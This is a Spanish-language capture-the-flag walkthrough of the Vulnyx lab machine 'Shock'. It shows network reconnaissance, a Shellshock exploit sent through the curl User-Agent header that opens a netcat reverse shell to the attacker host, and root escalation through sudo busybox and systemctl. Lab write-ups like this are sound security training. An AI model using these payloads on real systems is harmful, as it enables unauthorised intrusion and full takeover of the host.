Máquina Shock (Vulnyx)
Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:
$ netdiscover -i eth1 -r 10.0.2.0/24
- Kali (Máquina Atacante): 10.0.2.4
- Máquina Victima: 10.0.2.48
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:
$ ping -c 1 10.0.2.48
Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.
A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:
$ nmap -Pn 10.0.2.48 -sVC
Como podemos comprobar la Máquina Victima tiene abiertos los puertos 21, 22 y 80.
Comprobamos que es lo que corre por el puerto 80.
Encontramos el directorio cgi-bin, investigando por internet veo que este directorio es donde se almacenan scripts ejecutables (CGI) no soportados por el estándar HTML, estos scripts están escritos en lenguajes como Perl, Python, Sh o C, que permiten a las páginas web generar contenido dinámico, procesar formularios y realizar tareas como enviar correos electrónicos.
A continuación, en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:
$ nc -lvnp 443
Volvemos a utilizar la herramienta curl para enviarnos una reverse shell, para ello ejecutamos el siguiente comando:
$ curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'busybox nc 10.0.2.4 443 -e bash'" "http://10.0.2.48/cgi-bin/shell.sh"
Obtenemos una shell como www-data.
Hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos:
$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm
Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:
$ sudo -l
Nos encontramos con el binario busybox que lo podemos ejecutar como el usuario will. por lo tanto nos vamos a la pagina gtfobins a mirar el payload.
Lo ejecutamos de la siguiente manera:
$ sudo -u will /usr/bin/busybox sh
¡¡¡Somos will!!!.
Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:
$ sudo -l
Nos encontramos con el binario systemctl que lo podemos ejecutar como el usuario root. por lo tanto nos vamos a la pagina gtfobins a mirar el payload.
Lo ejecutamos de la siguiente manera:
$ sudo -u root /usr/bin/systemctl
!/bin/sh
¡¡¡Ya somos root!!!.












